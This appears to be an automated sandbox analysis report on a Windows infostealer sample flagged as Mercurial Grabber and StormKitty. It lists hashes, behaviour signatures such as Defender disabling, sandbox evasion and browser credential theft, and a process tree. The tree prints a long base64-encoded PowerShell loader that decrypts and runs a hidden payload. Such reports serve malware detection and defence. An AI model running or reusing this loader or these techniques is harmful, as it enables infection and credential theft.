Overview

overview

10

Static

static

10

JaffaCakes...8c.exe

windows7-x64

10

JaffaCakes...8c.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    91s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-12-2024 13:36

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe

  • Size

    148.7MB

  • MD5

    38036a70b4ed531dadb58f36408871f0

  • SHA1

    7bf2c52e5b861044dce471293247f3926cb7fc8c

  • SHA256

    6e0775e91dc304bdccef41ad8996aeb886c4d8378dc6f7d9a8789b2739777b32

  • SHA512

    d534c5b00157f9bc49e2edf23b952d5bb4a364969027d1079059a4a9bb3753ed3584b7ec601e8ba608f1ee5fd5f20e0f2cc9986d5b1015a18538dd868301b938

  • SSDEEP

    3145728:bJ3y6Y5xCztM7YOY65971/AG5xCztM7YOY65971hJ3ZR66:t3yFzGGkOYCnAGzGGkOYC33m

Score
10/10
mercurialgrabberstormkittydefense_evasiondiscoveryevasionexecutionpersistencepyinstallerspywarestealerupx

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Mercurial Grabber Stealer

    Mercurial Grabber is an open source stealer targeting Chrome, Discord and some game clients as well as generic system information.

    stealermercurialgrabber
  • Mercurialgrabber family
    mercurialgrabber
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 2 IoCs
  • Stormkitty family
    stormkitty
  • Detected Nirsoft tools 7 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    evasion
  • NirSoft WebBrowserPassView 4 IoCs

    Password recovery tool for various web browsers

  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 61 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 4 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 9 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 2 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 1 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies registry class 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 51 IoCs
  • Suspicious use of AdjustPrivilegeToken 58 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7bf2c52e5b861044dce471293247f3926cb7fc8c.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\System32ANTIS.EXE
      "C:\Windows\System32ANTIS.EXE"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1400
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1824
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c compile.bat
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1476
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "PowerShell.exe -ExecutionPolicy Unrestricted, powershell.exe -EncodedCommand "JABxAGMAZABoAHkAZQBnAHcAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAIAAkAHkAdQBzAHYAaABiAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIATQBuAGMAcgBrAGIALwAyAFoAbABaAFcAYQBPAFYAYwBlAFUATAA1AGYAZwBlAGEATQBPAFUATwBoAHcAVQBNAGgAbwA2ADAAcgBmAFcAawA5AHoAMwBoADUARwBEAGgARQBSAEkAbgBCAEUAMwBLAFMAUwBnAEgAbABUADkAagA3AFAARwBGAEgALwBhADYAZABsAEUAUAB1AHkAKwBhADIAcgBnAE4ATQArAGcAZABIAGMANgBVAE4AVwBxAG4AZABoAEIARABiAEwAbABoAHEAbgBjAGQAcwBMADMAeABVAEYAVQBNAC8AVwB4ACsANgBVADIAZABJAEMAVABZAGIAbABXAFgAUgBYAE4AbgBUAG0AeQBVAFYAVQB1AFgAVQBuAHUAMgAyAHAASgBuAE4AKwBhAEcAZwBHAFEASgAxAHcARgBWAGUANABGAE0AbwA0AFEAbgA1AFcAVgAxAHgAZQB4AGEAQQAzADYAWQBTAFgANQBPADcAZQBsADYAZABpAHAAQwBQAFgAYgByAGkANwA5ADgAVQAzAFgASABhAEgAbwBXAG0AeQBRAG8ARwBlAHMAagBEAEkAWgBnAFIAZgB4ACsATQA3AGEARABjAEUAagBxADMAcwBDAEUAWQBNAFAASgBCAHAAZwA0AFQATwB2AHQALwBmADEASgBuADEANwA0AFcASwBSAHoAMwA5AGIAWABwAGsAWAA5AEoAQQBpAGYAcwBlADYAaAArADAAZgA2AEoANwArAHEARwA3AEQAWQBOADUANQBJAHIAVgBEAGQAWQA2AHkAMAAxAGgAegBvAG8ASwBQAGEAUgBxAFIANAB2ADgATQB0AFcAcgAzAHAAMQBpAC8ARgBNAFIAUwB6AFkAawBkAHAARABzAHIAcwBzADQASwA3AEsAdgBUAEgAZQB5AE8AVgBsAHoAMgA5AHcAbABTAE4AYwB3AGEATgBkAHIAdgBPADEAbwBIACsAaQA2AFgAegB5AGoARwBXAGcAcQAxAC8ARgBBAFkAVQBYAEQANABZAEYANwBLAE4AYgBNADIAdgBSAFYAQgB0AEIAbABsADgAawBRAHcAeAAxAC8AWgBwAHAAVwB2ADIAaABGAEcAVQBzAE0AUwA3AGgAWgB2AFAAQwBRAEIAUQBGAEQAZABKAGQAdABGAGQAWQBUADIARwBIAFMAcABIAGcAbQBDAFYAUABWAG0AdQBOAHcATABxAFYAUABjADYARABDAG4AbABRAC8AUABVAFYARgBYAFoAdABrAHEAZgBHAFIAVgB4AGgAcABvAGEASAB5AGQASAA0AFcAVABCAHUAVQBUAGoAZQAyAFAASABvADQATABiAEYATQB2AHkAYQBDAGkAcwA1AFgAaQBIADUAdABOAEEAWQBDADcAMQA3AGQAYgBSAEIATgBPADEAcwBlAFkASQAzAHUAbgBpADUAVABKAHYASABCAHAAeABRAHcAaABSAGIAZwB4AGQAMwBTADAAVwBaAEMATAA0AG0ASwA3AGkAOABVAG8AWQBMAHQAdwAxAEkASQBzAFIAZgBsADIARgBGAGUARwBFAHUAVgBSADcATwBBAGIAWQA4AEYAbgBRADAAZQB1AGUAbgA5AEQAMwBBAHUAQwB3AGQAMgBWAG8AeQBnADAAUAB1AHUAVgBFAFoANwBaAFIAbwBqAEQAdABFADIAVwAzAHYAZQBRAEgAbABNADcAYQBHAFgAUwBOADEAMABoACsAaQArAGcAaAB6AFMAaABFAEEAeQBsADIAVwBlAE8AbQBkAFIAdAB4ADIAbgBUAE0AdwBaADcASABXADUAMQBLAEoAYQB0AE0ASAByADQASgB3AEkAaQBoAC8AMwBiAHMAcABXADMAcQBLADYAVwBvADAANgAxAFMATgBJAEEAVQBkAHoAQwBVAFQAYwB1AFoASQBNAHEAeQBhAHAAYgBJAE0AbgBJADEAKwBFAHgARABVAHoAdgBaAGYAUwBXAGUAbABpAGEAWABvAHYAcABVAEUAVwAwAG4ARAB3AEUALwBDADYAMgBIAHEAbQAwAGEAUABCADcAQwBXAEEANAB4AGcANgBCAHoARgByAGEAWAAxADEAcgBOAEoAagB0AEcAUgBNAFMATQBDAHkAYQBmAFQAaABFAE8AeQBOAFMAUQBmAG4AYwBxAHQASQBYAGoASgB6AG4AWQBKAHMANABFADIAcAA4ADIAZgBjAE8AaABBACsATwBwAFkANgBSAFoASQBEAG8AbQBtAHUAZgA2AFEASQBEAFYATwBvAEIARAA3AFEAVwBWADIAbQA0ADkAOQBPAFgANABnADYAbQA4ADkAUQBTAEwATwBGAFYATgBrAHgAegA3AE0AYgBuAG8AVwA2AEcAdwA0ADcARQA3AHEAcQA2AGgANwA3AGUATwBTAFgAOQB3AG8AYwBhAHQAYgBGAHIAZgB6AEUAVQBEADMAQwBTAGMAcABKADcATwBuAEsAdgBCAHQAdQBEAHQALwBZAHIAZABpAEYAVQBsAE0ALwBUAG4ARgB2AFQAcgBuADQATQB1AEIAOQBZAFMAUABsAEMARwBCAGEAcQBEAHUAZgA3ADYANwBZADAAYQBlAFgALwBjAFIAVABPAEMAUQAwAEoASQA2AC8ARAB6AHcAcgBIAHQAUQBuAHMAeQA3AFgATQB3ADMANQBZAFYAcwBBADQAaQBKAGMATQBOAFgAZABiADYAbQB2ADAATwBMAFUATABuAEkAQwBWADQAZwAyADEAcgA0AFEAMABhAG8ARgBJAHUARAAzAG4AZwBQAHQAYgByAFAAdgBjAFIAdABoAGQASABRAFcAcgBjAHoAMQBxAEUAOQBvAFUAcwBxAHEAYgBEAHoARwBSAFgAUQBtADcASwBxAEIAaAB5AHgAYQBWAGUAagBjADcAagA0AG8ARABCAGoAcQA2AEwARwBQAEoAdQAwAHgAbQAwADYAVwB6AE0ANwBZAE0AcQAvAHQAaQA3ADcAZQBCAHgAdQBZAHEAQQBoAEUAMgBjAHcAdABRAEkAdQBYAHgAegA5AHEAQgAxAFoASABRAHUAeQBKAHcAcgBjAEoAZABzAGoAcQBwAFAAWgBHAFQAZAB0AHAASgBzAFQAMAAxAG8AdABMAHgANABpAHMAcQBaAHAARwBNAE0AZQA1AGwARgBxAEkAUgB2AG4AcwBzADgAeQBGADYAawBvAFAATwBZAGIASwBMADEATwA0ADIAQgBaAEwAcgBIAGwAVQB6AHcATQBUADgAOABaAGgASwBDAHMAVAB3AFkAMgBEAEQAcQB6AE0ARgBPAFUAeQB1AHgATQBLAGMAZgBEADYAVwBZAGIAVAB1AFIANABuAGUAYgA5AHkANwB6AHoASgB4AGcAagBZAHkAMQBsAGwAZABSAEQAdgBlADEANgBqACsALwBtAG4ATQBhAEIAbABUAE8AKwBYAE0AcwByAE8AQQBMAFQAeABtAG0ARQB3AGkASgBlADgATgBzAG4AUQBtAGYAeQBUAFkAMgBuAHgAdgBmAEkAdwBiAFAAVwB5ADgATgBsAC8AYwAwAFIARwAwAEIASwA2ADgAKwBsAEUAQwBOAGMASQA3AEsAYgB4AEkAdwBLAGwAcgArAFkAdAB3AGoANgBGAHgAMABFAGQAawBlAGgAdwB5AHEAegBIACsAOQBGAFUAagBMAHEAMABHAHMATgBKADMAQQBrAGkAQQBSADQASgB4AGQASQBKAHYASABjAFgAeABKAFkAdgBrAHoAbwBIAHMAcABwADYAUQA3AEIAQQBnAFAATABnAEcAagBuAFIANwArAGsAYgBoAHAASABMAE4AYQBpADcATAA0AEMAQQBZAGcASgBlADkAOABnAEsAcQBvAEIARQBsAHgAdgBhAEkAYQBRADQAegBIAHoAdABVADMAVQBFAGcAUABZAHgAUgBVAG0AcQBoAGwAYgB2ADAAUQBSAEYANQBlAGoASQBrAEoAWQBPAEMAbABKAEQASgBJAHkAcgB3AG4AMgBtAGcAdgAyAHEAYgArAHAAegBVAHUAZwBOAGcANQAvADIATAA3AFgAVABIAFAAUAArAEEAOABGAE8ASgBhADMATwBXAE0AaAB6AGUAQgBFAFQAYwB4AG4ATgB5AGMAaQBtAFQANgBOAE4AZwA9ACIAKQA7ACAAJABnAGEAeAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFoAYQBPAGMAagBaAHYAcQBqAE4AYgBCAHgAQgA2AGEARQBEAHcAZwB0AFUAYQBOAGgAUAA2AG0AdwBkAFMAbAAvAHgAegBTAFAAKwAwAHIAdwBNAGcAPQAiACkAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBCAGwAbwBjAGsAUwBpAHoAZQAgAD0AIAAxADIAOAA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBFAEMAQgA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEkAVgAgAD0AIAAkAHkAdQBzAHYAaABiAHEAWwAwAC4ALgAxADUAXQA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFoAZQByAG8AcwA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAMgA1ADYAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBLAGUAeQAgAD0AIAAkAGcAYQB4AHkAOwAgACQAbgBxAGEAYgB4ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAeQB1AHMAdgBoAGIAcQAsADEANgAsACQAeQB1AHMAdgBoAGIAcQAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQA7ACAAJAB6AHIAcABuAGcAbwBmAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAbgBxAGEAYgB4ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAGEAaAB3AGMAawBkAGUAaABmAC4AQwBvAHAAeQBUAG8AKAAkAHoAcgBwAG4AZwBvAGYAawApADsAIAAkAG4AcQBhAGIAeAAuAEMAbABvAHMAZQAoACkAOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYALgBDAGwAbwBzAGUAKAApADsAIAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4ARABpAHMAcABvAHMAZQAoACkAOwAgACQAdABlAGIAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHoAcgBwAG4AZwBvAGYAawAuAFQAbwBBAHIAcgBhAHkAKAApACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAoACQAdABlAGIAcgApAA=="
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:668
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Unrestricted powershell.exe -EncodedCommand JABxAGMAZABoAHkAZQBnAHcAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAIAAkAHkAdQBzAHYAaABiAHEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIATQBuAGMAcgBrAGIALwAyAFoAbABaAFcAYQBPAFYAYwBlAFUATAA1AGYAZwBlAGEATQBPAFUATwBoAHcAVQBNAGgAbwA2ADAAcgBmAFcAawA5AHoAMwBoADUARwBEAGgARQBSAEkAbgBCAEUAMwBLAFMAUwBnAEgAbABUADkAagA3AFAARwBGAEgALwBhADYAZABsAEUAUAB1AHkAKwBhADIAcgBnAE4ATQArAGcAZABIAGMANgBVAE4AVwBxAG4AZABoAEIARABiAEwAbABoAHEAbgBjAGQAcwBMADMAeABVAEYAVQBNAC8AVwB4ACsANgBVADIAZABJAEMAVABZAGIAbABXAFgAUgBYAE4AbgBUAG0AeQBVAFYAVQB1AFgAVQBuAHUAMgAyAHAASgBuAE4AKwBhAEcAZwBHAFEASgAxAHcARgBWAGUANABGAE0AbwA0AFEAbgA1AFcAVgAxAHgAZQB4AGEAQQAzADYAWQBTAFgANQBPADcAZQBsADYAZABpAHAAQwBQAFgAYgByAGkANwA5ADgAVQAzAFgASABhAEgAbwBXAG0AeQBRAG8ARwBlAHMAagBEAEkAWgBnAFIAZgB4ACsATQA3AGEARABjAEUAagBxADMAcwBDAEUAWQBNAFAASgBCAHAAZwA0AFQATwB2AHQALwBmADEASgBuADEANwA0AFcASwBSAHoAMwA5AGIAWABwAGsAWAA5AEoAQQBpAGYAcwBlADYAaAArADAAZgA2AEoANwArAHEARwA3AEQAWQBOADUANQBJAHIAVgBEAGQAWQA2AHkAMAAxAGgAegBvAG8ASwBQAGEAUgBxAFIANAB2ADgATQB0AFcAcgAzAHAAMQBpAC8ARgBNAFIAUwB6AFkAawBkAHAARABzAHIAcwBzADQASwA3AEsAdgBUAEgAZQB5AE8AVgBsAHoAMgA5AHcAbABTAE4AYwB3AGEATgBkAHIAdgBPADEAbwBIACsAaQA2AFgAegB5AGoARwBXAGcAcQAxAC8ARgBBAFkAVQBYAEQANABZAEYANwBLAE4AYgBNADIAdgBSAFYAQgB0AEIAbABsADgAawBRAHcAeAAxAC8AWgBwAHAAVwB2ADIAaABGAEcAVQBzAE0AUwA3AGgAWgB2AFAAQwBRAEIAUQBGAEQAZABKAGQAdABGAGQAWQBUADIARwBIAFMAcABIAGcAbQBDAFYAUABWAG0AdQBOAHcATABxAFYAUABjADYARABDAG4AbABRAC8AUABVAFYARgBYAFoAdABrAHEAZgBHAFIAVgB4AGgAcABvAGEASAB5AGQASAA0AFcAVABCAHUAVQBUAGoAZQAyAFAASABvADQATABiAEYATQB2AHkAYQBDAGkAcwA1AFgAaQBIADUAdABOAEEAWQBDADcAMQA3AGQAYgBSAEIATgBPADEAcwBlAFkASQAzAHUAbgBpADUAVABKAHYASABCAHAAeABRAHcAaABSAGIAZwB4AGQAMwBTADAAVwBaAEMATAA0AG0ASwA3AGkAOABVAG8AWQBMAHQAdwAxAEkASQBzAFIAZgBsADIARgBGAGUARwBFAHUAVgBSADcATwBBAGIAWQA4AEYAbgBRADAAZQB1AGUAbgA5AEQAMwBBAHUAQwB3AGQAMgBWAG8AeQBnADAAUAB1AHUAVgBFAFoANwBaAFIAbwBqAEQAdABFADIAVwAzAHYAZQBRAEgAbABNADcAYQBHAFgAUwBOADEAMABoACsAaQArAGcAaAB6AFMAaABFAEEAeQBsADIAVwBlAE8AbQBkAFIAdAB4ADIAbgBUAE0AdwBaADcASABXADUAMQBLAEoAYQB0AE0ASAByADQASgB3AEkAaQBoAC8AMwBiAHMAcABXADMAcQBLADYAVwBvADAANgAxAFMATgBJAEEAVQBkAHoAQwBVAFQAYwB1AFoASQBNAHEAeQBhAHAAYgBJAE0AbgBJADEAKwBFAHgARABVAHoAdgBaAGYAUwBXAGUAbABpAGEAWABvAHYAcABVAEUAVwAwAG4ARAB3AEUALwBDADYAMgBIAHEAbQAwAGEAUABCADcAQwBXAEEANAB4AGcANgBCAHoARgByAGEAWAAxADEAcgBOAEoAagB0AEcAUgBNAFMATQBDAHkAYQBmAFQAaABFAE8AeQBOAFMAUQBmAG4AYwBxAHQASQBYAGoASgB6AG4AWQBKAHMANABFADIAcAA4ADIAZgBjAE8AaABBACsATwBwAFkANgBSAFoASQBEAG8AbQBtAHUAZgA2AFEASQBEAFYATwBvAEIARAA3AFEAVwBWADIAbQA0ADkAOQBPAFgANABnADYAbQA4ADkAUQBTAEwATwBGAFYATgBrAHgAegA3AE0AYgBuAG8AVwA2AEcAdwA0ADcARQA3AHEAcQA2AGgANwA3AGUATwBTAFgAOQB3AG8AYwBhAHQAYgBGAHIAZgB6AEUAVQBEADMAQwBTAGMAcABKADcATwBuAEsAdgBCAHQAdQBEAHQALwBZAHIAZABpAEYAVQBsAE0ALwBUAG4ARgB2AFQAcgBuADQATQB1AEIAOQBZAFMAUABsAEMARwBCAGEAcQBEAHUAZgA3ADYANwBZADAAYQBlAFgALwBjAFIAVABPAEMAUQAwAEoASQA2AC8ARAB6AHcAcgBIAHQAUQBuAHMAeQA3AFgATQB3ADMANQBZAFYAcwBBADQAaQBKAGMATQBOAFgAZABiADYAbQB2ADAATwBMAFUATABuAEkAQwBWADQAZwAyADEAcgA0AFEAMABhAG8ARgBJAHUARAAzAG4AZwBQAHQAYgByAFAAdgBjAFIAdABoAGQASABRAFcAcgBjAHoAMQBxAEUAOQBvAFUAcwBxAHEAYgBEAHoARwBSAFgAUQBtADcASwBxAEIAaAB5AHgAYQBWAGUAagBjADcAagA0AG8ARABCAGoAcQA2AEwARwBQAEoAdQAwAHgAbQAwADYAVwB6AE0ANwBZAE0AcQAvAHQAaQA3ADcAZQBCAHgAdQBZAHEAQQBoAEUAMgBjAHcAdABRAEkAdQBYAHgAegA5AHEAQgAxAFoASABRAHUAeQBKAHcAcgBjAEoAZABzAGoAcQBwAFAAWgBHAFQAZAB0AHAASgBzAFQAMAAxAG8AdABMAHgANABpAHMAcQBaAHAARwBNAE0AZQA1AGwARgBxAEkAUgB2AG4AcwBzADgAeQBGADYAawBvAFAATwBZAGIASwBMADEATwA0ADIAQgBaAEwAcgBIAGwAVQB6AHcATQBUADgAOABaAGgASwBDAHMAVAB3AFkAMgBEAEQAcQB6AE0ARgBPAFUAeQB1AHgATQBLAGMAZgBEADYAVwBZAGIAVAB1AFIANABuAGUAYgA5AHkANwB6AHoASgB4AGcAagBZAHkAMQBsAGwAZABSAEQAdgBlADEANgBqACsALwBtAG4ATQBhAEIAbABUAE8AKwBYAE0AcwByAE8AQQBMAFQAeABtAG0ARQB3AGkASgBlADgATgBzAG4AUQBtAGYAeQBUAFkAMgBuAHgAdgBmAEkAdwBiAFAAVwB5ADgATgBsAC8AYwAwAFIARwAwAEIASwA2ADgAKwBsAEUAQwBOAGMASQA3AEsAYgB4AEkAdwBLAGwAcgArAFkAdAB3AGoANgBGAHgAMABFAGQAawBlAGgAdwB5AHEAegBIACsAOQBGAFUAagBMAHEAMABHAHMATgBKADMAQQBrAGkAQQBSADQASgB4AGQASQBKAHYASABjAFgAeABKAFkAdgBrAHoAbwBIAHMAcABwADYAUQA3AEIAQQBnAFAATABnAEcAagBuAFIANwArAGsAYgBoAHAASABMAE4AYQBpADcATAA0AEMAQQBZAGcASgBlADkAOABnAEsAcQBvAEIARQBsAHgAdgBhAEkAYQBRADQAegBIAHoAdABVADMAVQBFAGcAUABZAHgAUgBVAG0AcQBoAGwAYgB2ADAAUQBSAEYANQBlAGoASQBrAEoAWQBPAEMAbABKAEQASgBJAHkAcgB3AG4AMgBtAGcAdgAyAHEAYgArAHAAegBVAHUAZwBOAGcANQAvADIATAA3AFgAVABIAFAAUAArAEEAOABGAE8ASgBhADMATwBXAE0AaAB6AGUAQgBFAFQAYwB4AG4ATgB5AGMAaQBtAFQANgBOAE4AZwA9ACIAKQA7ACAAJABnAGEAeAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFoAYQBPAGMAagBaAHYAcQBqAE4AYgBCAHgAQgA2AGEARQBEAHcAZwB0AFUAYQBOAGgAUAA2AG0AdwBkAFMAbAAvAHgAegBTAFAAKwAwAHIAdwBNAGcAPQAiACkAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBCAGwAbwBjAGsAUwBpAHoAZQAgAD0AIAAxADIAOAA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBFAEMAQgA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEkAVgAgAD0AIAAkAHkAdQBzAHYAaABiAHEAWwAwAC4ALgAxADUAXQA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFoAZQByAG8AcwA7ACAAJABxAGMAZABoAHkAZQBnAHcAaAAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAMgA1ADYAOwAgACQAcQBjAGQAaAB5AGUAZwB3AGgALgBLAGUAeQAgAD0AIAAkAGcAYQB4AHkAOwAgACQAbgBxAGEAYgB4ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALAAkAHEAYwBkAGgAeQBlAGcAdwBoAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAeQB1AHMAdgBoAGIAcQAsADEANgAsACQAeQB1AHMAdgBoAGIAcQAuAEwAZQBuAGcAdABoAC0AMQA2ACkAKQA7ACAAJAB6AHIAcABuAGcAbwBmAGsAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAgACQAYQBoAHcAYwBrAGQAZQBoAGYAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAgACQAbgBxAGEAYgB4ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAIAAkAGEAaAB3AGMAawBkAGUAaABmAC4AQwBvAHAAeQBUAG8AKAAkAHoAcgBwAG4AZwBvAGYAawApADsAIAAkAG4AcQBhAGIAeAAuAEMAbABvAHMAZQAoACkAOwA